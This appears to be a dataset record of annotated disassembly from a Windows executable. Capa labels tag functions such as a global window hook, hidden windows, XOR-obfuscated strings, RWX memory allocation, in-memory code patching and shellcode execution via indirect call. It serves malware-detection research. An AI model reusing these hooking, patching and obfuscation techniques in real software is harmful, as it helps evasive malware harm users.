joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44a004
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44a1af
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44a190
mov dl, 1
mov eax, dword [0x411ca4]
call fcn.004031fc
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404028
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44a17f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00437ec4
test al, al
je 0x44a172
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44a1c0
lea eax, [ebp - 0x254]
call fcn.00408e2c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44a172
xor eax, eax
push ebp
push 0x44a16b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44a1f8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44a154
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404298
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44a154
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404298
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a172
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44a075
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415780
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a1b6
lea eax, [ebp - 0x260]
call fcn.00404028
ret

Function at 0x44aae4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x467bb0]
cmp byte [eax + 0xa5], 0
jne 0x44ab55
cmp dword [0x467bc8], 0
jne 0x44ab16
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44aaa0
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x467bc8], eax
cmp dword [0x467bc4], 0
jne 0x44ab31
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x467bc4], eax
cmp dword [0x467bcc], 0
jne 0x44ab55
push esp
push 0
push 0
push 0x44aa44
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x467bcc], eax
pop edx
ret
Function at 0x44ac4c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44ac63
add esp, 0xfffffff0
call fcn.00403538
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419590
mov eax, dword [0x465e00]
cmp word [eax + 2], 0
jne 0x44ac8b
mov eax, dword [0x465e00]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044c324
mov eax, dword [0x465eac]
cmp word [eax + 2], 0
jne 0x44aca5
mov eax, dword [0x465eac]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044c51c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411888]
call fcn.004031fc
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411888]
call fcn.004031fc
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b764]
call fcn.004213ac
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44ae2c
mov eax, dword [0x465d24]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042177c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x44cacc
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x465d24]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c468
test eax, eax
je 0x44ad9a
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408820
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c490
test eax, eax
je 0x44adae
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404298
mov eax, dword [0x465c14]
cmp byte [eax], 0
jne 0x44ade2
mov eax, ebx
call fcn.0044af54
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0044cca8
mov eax, ebx
call fcn.0044d66c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44ae22
call fcn.00403590
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44b1d4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x467bb0]
cmp dword [eax + 0x30], 0
je 0x44b27e
cmp dword [ebx + 0x94], 0
jne 0x44b278
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44b164
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44b278
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44b23e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44b278
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413bf0
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44b24d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44bde0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44be15
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404118
jmp 0x44be22
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.0040407c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44ce84
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44cec5
mov eax, esi
call fcn.00433688
test al, al
je 0x44cec5
mov eax, dword [ebx + 0x84]
call fcn.00433428
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44cec5
push 0
mov eax, dword [ebx + 0x84]
call fcn.00433428
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x44e148
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov edi, edx
mov ebx, eax
test ebx, ebx
je 0x44e1e4
test ebx, ebx
setl byte [esp]
mov eax, edi
mov edx, 0xb
call fcn.00404674
mov esi, 0xb
mov eax, ebx
mov ecx, 0xa
cdq
idiv ecx
mov eax, edx
cdq
xor eax, edx
sub eax, edx
mov ebp, eax
mov eax, ebx
mov ecx, 0xa
cdq
idiv ecx
mov ebx, eax
mov eax, edi
call fcn.00404540
lea edx, [ebp + 0x30]
mov byte [eax + esi - 1], dl
dec esi
test ebx, ebx
jne 0x44e170
cmp byte [esp], 0
je 0x44e1b5
mov eax, edi
call fcn.00404540
mov byte [eax + esi - 1], 0x2d
dec esi
test esi, esi
jle 0x44e1f0
mov eax, edi
call fcn.00404540
push eax
mov eax, edi
call fcn.00404540
add eax, esi
mov ebx, 0xb
sub ebx, esi
mov ecx, ebx
pop edx
call fcn.004028b8
mov edx, ebx
mov eax, edi
call fcn.00404674
jmp 0x44e1f0
mov eax, edi
mov edx, 0x44e200
call fcn.0040407c
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x44e848
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004044d8
xor eax, eax
push ebp
push 0x44e8aa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040407c
mov eax, ebx
call fcn.00404538
mov eax, dword [ebx]
call fcn.004042e8
test eax, eax
jle 0x44e894
mov edx, 1
mov ecx, dword [ebx]
xor byte [ecx + edx - 1], 0x55
inc edx
dec eax
jne 0x44e889
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e8b1
lea eax, [ebp - 4]
call fcn.00404028
ret

Function at 0x44f010
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, eax
xor ebx, ebx
xor eax, eax
push ebp
push 0x44f058
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
mov edi, esi
push edi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x44f04e
cmp word [edi], 0x5a4d
jne 0x44f04e
lea eax, [esi + 0x3c]
mov ebx, dword [eax]
add ebx, esi
cmp dword [ebx], 0x4550
je 0x44f04e
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x44f064
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x44f1f4
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
push edi
mov esi, eax
xor edi, edi
call sub.kernel32.dll_GetVersion_1
test eax, 0x80000000
jne 0x44f23a
push 0x20a
push 0x40
call sub.kernel32.dll_LocalAlloc_2
mov ebx, eax
push 0x104
push ebx
push esi
call sub.kernel32.dll_GetModuleFileNameW
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.kernel32.dll_CreateFileW
mov esi, eax
jmp 0x44f26b
push 0x105
push 0x40
call sub.kernel32.dll_LocalAlloc_2
mov ebx, eax
push 0x104
push ebx
push esi
call sub.kernel32.dll_GetModuleFileNameA_1
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.kernel32.dll_CreateFileA
mov esi, eax
push ebx
call sub.kernel32.dll_LocalFree_1
cmp esi, 0xffffffff
je 0x44f2c8
call sub.kernel32.dll_GetVersion_1
test eax, 0x80000000
jne 0x44f296
push 0
push 0
push 0
push 2
push 0
push esi
call sub.kernel32.dll_CreateFileMappingW
mov ebx, eax
jmp 0x44f2a8
push 0
push 0
push 0
push 2
push 0
push esi
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
test ebx, ebx
je 0x44f2c2
push 0
push 0
push 0
push 4
push ebx
call sub.kernel32.dll_MapViewOfFile
mov edi, eax
push ebx
call sub.kernel32.dll_CloseHandle
push esi
call sub.kernel32.dll_CloseHandle
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x45244c
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffedc
mov ebp, ecx
mov esi, edx
mov edi, eax
xor ebx, ebx
push 0x1c
lea eax, [esp + 4]
push eax
push edi
call sub.kernel32.dll_VirtualQuery_1
cmp eax, 0x1c
jne 0x4524c8
cmp dword [esp + 0x10], 0x1000
jne 0x4524c8
cmp dword [esp + 4], 0
je 0x4524c8
push 0x104
lea eax, [esp + 0x20]
push eax
mov eax, dword [esp + 0xc]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
test eax, eax
je 0x4524c8
mov eax, dword [esp + 4]
mov dword [esi], eax
mov eax, dword [esi]
cmp word [eax], 0x5a4d
jne 0x4524c8
mov eax, dword [esi]
mov edx, dword [esi]
add edx, 0x3c
add eax, dword [edx]
cmp dword [eax], 0x4550
jne 0x4524c8
mov edx, dword [esi]
add edx, dword [eax + 0x78]
mov dword [ebp], edx
cmp dword [ebp], 0
setne bl
mov eax, ebx
add esp, 0x124
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x455514
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x4555cb
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0xc]
mov eax, 0x4555e4
call fcn.0044e848
push dword [ebp - 0xc]
push 0x4555f8
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
mov edx, dword [eax - 4]
mov edx, dword [edx]
mov cl, byte [ebp - 1]
mov eax, 0x455604
call fcn.004553d8
push dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 3
call fcn.004043a8
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
call fcn.004044e8
push eax
call fcn.004552e8
mov esi, eax
test esi, esi
je 0x4555b0
push 0
push 0
push 0
push 4
push esi
call sub.kernel32.dll_MapViewOfFile
test eax, eax
je 0x4555aa
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
mov ecx, dword [eax]
mov dword [edx], ecx
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov bl, 1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4555d2
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.0040404c
ret

Function at 0x45585c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffe4
mov edi, eax
xor esi, esi
call sub.kernel32.dll_GetVersion_1
test eax, 0x80000000
jne 0x4558cd
mov ebx, 0x5f040000
jmp 0x4558bb
cmp dword [esp + 0x10], 0x10000
jne 0x455899
push 0x40
push 0x2000
push edi
mov eax, dword [esp + 0xc]
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
jmp 0x4558cd
cmp dword [esp + 0xc], 0x10000
jae 0x4558ad
mov dword [esp + 0xc], 0x10000
jmp 0x4558b5
and dword [esp + 0xc], 0xffff0000
mov eax, dword [esp + 0xc]
add ebx, eax
push 0x1c
lea eax, [esp + 4]
push eax
push ebx
call sub.kernel32.dll_VirtualQuery_1
cmp eax, 0x1c
je 0x455879
push 0x40
push 0x1000
push edi
push esi
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, esi
add esp, 0x1c
pop edi
pop esi
pop ebx
ret

Function at 0x455b98
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
pushfd
xor ebx, ebx
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x20], 0
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [0x465800]
cmp eax, 0x1c
jne 0x455c13
cmp dword [ebp - 0xc], 0x1000
jne 0x455c0e
cmp dword [ebp - 0x18], 0
je 0x455c0e
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x20], eax
je 0x455c0e
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x10]
cmp eax, 0
jne 0x455bed
mov eax, dword [ebp - 0x18]
cmp eax, 0x80000000
jae 0x455c13
push 2
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
call dword [0x4657d0]
cmp eax, 0
je 0x455c0e
push edi
push esi
mov eax, dword [ebp - 0x18]
push eax
call dword [0x465828]
add ebx, dword [ebp - 0x10]
jmp 0x455baf
popfd
popal
add esp, 0x20
pop ebp
ret 0xc
Function at 0x4597e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4599c7
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor edx, edx
mov eax, 0x4599e0
call fcn.004522b4
mov dword [0x467e44], eax
xor edx, edx
mov eax, 0x459a04
call fcn.004522b4
mov dword [0x467e48], eax
lea eax, [ebp - 8]
mov edx, 5
call fcn.00404674
lea eax, [ebp - 8]
call fcn.00404540
mov byte [eax], 0x72
lea eax, [ebp - 8]
call fcn.00404540
mov byte [eax + 1], 0x64
lea eax, [ebp - 8]
call fcn.00404540
mov byte [eax + 2], 0x65
lea eax, [ebp - 8]
call fcn.00404540
mov byte [eax + 3], 0x63
lea eax, [ebp - 8]
call fcn.00404540
mov byte [eax + 4], 0x20
lea edx, [ebp - 0xc]
mov eax, 0x459a2c
call fcn.0044e848
push dword [ebp - 0xc]
push 0x459a3c
push dword [ebp - 8]
lea eax, [ebp - 0x10]
push eax
call sub.kernel32.dll_GetCurrentProcessId
mov cl, 0x30
mov edx, 1
call fcn.0044e4dc
push dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 4
call fcn.004043a8
mov eax, dword [ebp - 8]
call fcn.004044e8
push eax
push 0
push 0
call fcn.00406190
mov edx, dword [ebp + 8]
mov dword [edx - 4], eax
mov eax, dword [ebp + 8]
cmp dword [eax - 4], 0
je 0x4599ac
push 0xffffffffffffffff
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov dword [0x467e38], esi
mov dword [0x467e3c], edi
cmp dword [0x467e44], 0
je 0x4598fc
cmp dword [0x467e48], 0
jne 0x45997e
mov dl, 1
mov eax, 0x459a48
call fcn.004523b0
mov esi, eax
cmp dword [esi], 0x4244c8b
jne 0x459990
lea eax, [esi + 4]
mov eax, dword [eax]
and eax, 0xffffff
cmp eax, 0x241c8b
jne 0x459990
lea eax, [esi + 7]
cmp byte [eax], 0x51
jne 0x459990
lea eax, [esi + 8]
cmp byte [eax], 0x53
jne 0x459990
lea eax, [esi + 9]
cmp byte [eax], 0xe8
jne 0x459990
lea eax, [ebp - 4]
push eax
push 0x40
push 4
lea eax, [esi + 0xa]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x459990
lea edx, [esi + 0xe]
lea eax, [esi + 0xa]
add edx, dword [eax]
mov dword [0x467e40], edx
mov edx, 0x459790
sub edx, esi
sub edx, 0xe
mov dword [eax], edx
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp - 4]
push edx
push 4
push eax
call sub.kernel32.dll_VirtualProtect
mov bl, 1
jmp 0x459990
push 0x45973c
push 1
call dword [0x467e44]
test eax, eax
setne bl
test bl, bl
jne 0x4599ac
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_ReleaseMutex
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4599ce
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.0040404c
ret
Function at 0x459a64
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp dword [0x467e44], 0
je 0x459a7c
cmp dword [0x467e48], 0
jne 0x459ad5
mov dl, 1
mov eax, 0x459af0
call fcn.004523b0
mov ebx, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
lea esi, [ebx + 0xa]
push esi
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x459abb
mov eax, dword [0x467e40]
sub eax, ebx
sub eax, 0xe
mov dword [esi], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
push eax
push 4
push esi
call sub.kernel32.dll_VirtualProtect
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_ReleaseMutex
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x459ae0
push 0x45973c
call dword [0x467e48]
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45bc28
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004044d8
xor eax, eax
push ebp
push 0x45bce8
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetVersion_1
test eax, 0x80000000
setne bl
xor eax, eax
mov dword [ebp - 8], eax
test bl, bl
jne 0x45bcd2
cmp dword [ebp - 4], 0
jne 0x45bc75
lea edx, [ebp - 8]
mov eax, esi
call fcn.00454d30
test al, al
je 0x45bcd2
call sub.kernel32.dll_GetCurrentProcess
lea edx, [ebp - 0xc]
call fcn.00454d30
test al, al
je 0x45bcc3
cmp dword [ebp - 4], 0
je 0x45bca3
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_EqualSid
cmp eax, 1
sbb ebx, ebx
inc ebx
jmp 0x45bcba
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
push eax
call sub.advapi32.dll_EqualSid
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_LocalFree_1
cmp dword [ebp - 8], 0
je 0x45bcd2
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_LocalFree_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bcef
lea eax, [ebp - 4]
call fcn.00404028
ret

Function at 0x45bcf8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
xor ebp, ebp
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileW
mov esi, eax
cmp esi, 0xffffffff
je 0x45bda1
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov ebx, eax
push ebx
push 0x40
call sub.kernel32.dll_LocalAlloc_2
mov edi, eax
test edi, edi
je 0x45bd9b
push 0
lea eax, [esp + 4]
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x45bd95
cmp ebx, dword [esp]
jne 0x45bd95
xor ebx, ebx
mov eax, dword [esp]
dec eax
shr eax, 1
test eax, eax
jl 0x45bd7f
inc eax
xor edx, edx
movzx ecx, word [edi + edx*2]
add ebx, ecx
test ebx, 0xffff0000
je 0x45bd7b
mov ecx, ebx
and ecx, 0xffff
shr ebx, 0x10
add ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x45bd5e
mov eax, ebx
and ax, 0xffff
shr ebx, 0x10
add ax, bx
movzx eax, ax
mov ebx, eax
mov ebp, dword [esp]
add ebp, ebx
push edi
call sub.kernel32.dll_LocalFree_1
push esi
call sub.kernel32.dll_CloseHandle
mov eax, ebp
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x45bdac
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
xor edx, edx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45bebb
push dword fs:[eax]
mov dword fs:[eax], esp
cmp word [0x467c14], 0
jne 0x45be8d
cmp byte [0x465924], 0
je 0x45bdf5
push ebx
push 0x104
call sub.kernel32.dll_GetTempPathW
jmp 0x45be00
push 0x104
push ebx
call sub.kernel32.dll_GetSystemDirectoryW
test eax, eax
jne 0x45be0f
mov word [ebx], 0x2e
mov word [ebx + 2], 0
push ebx
call sub.kernel32.dll_lstrlenW
cmp word [ebx + eax*2 - 2], 0x5c
je 0x45be28
push 0x45bec8
push ebx
call sub.kernel32.dll_lstrcatW
lea edx, [ebp - 0x44]
mov eax, 0x45bed4
call fcn.0044e848
push dword [ebp - 0x44]
push 0x45bee4
lea edx, [ebp - 0x48]
mov eax, 0x45bef0
call fcn.0044e848
push dword [ebp - 0x48]
push 0x45bf04
lea edx, [ebp - 0x4c]
mov eax, 0x45bf10
call fcn.0044e848
push dword [ebp - 0x4c]
lea eax, [ebp - 4]
mov edx, 5
call fcn.004043a8
lea eax, [ebp - 0x40]
push eax
mov eax, dword [ebp - 4]
call fcn.004044e8
push eax
call fcn.0045477c
lea eax, [ebp - 0x40]
push eax
push ebx
call sub.kernel32.dll_lstrcatW
jmp 0x45be98
push 0x467c14
push ebx
call sub.kernel32.dll_lstrcpyW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bec2
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.0040404c
lea eax, [ebp - 4]
call fcn.00404028
ret

Function at 0x45bf14
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004044d8
xor eax, eax
push ebp
push 0x45bf9a
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, dword [ebp - 4]
mov al, byte [ebx]
mov byte [ebp - 5], al
inc ebx
mov edx, dword [ebx]
mov eax, edi
call fcn.00404674
add ebx, 4
mov esi, dword [edi]
mov al, byte [ebx]
cmp al, byte [ebp - 5]
jne 0x45bf71
inc ebx
mov eax, ebx
inc eax
movzx eax, byte [eax]
test eax, eax
jle 0x45bf6c
mov dl, byte [ebx]
xor dl, 0x55
mov byte [esi], dl
inc esi
dec eax
jne 0x45bf61
add ebx, 2
jmp 0x45bf77
xor al, 0x55
mov byte [esi], al
inc esi
inc ebx
mov eax, dword [edi]
call fcn.004042e8
add eax, dword [edi]
cmp eax, esi
ja 0x45bf4f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bfa1
lea eax, [ebp - 4]
call fcn.00404028
ret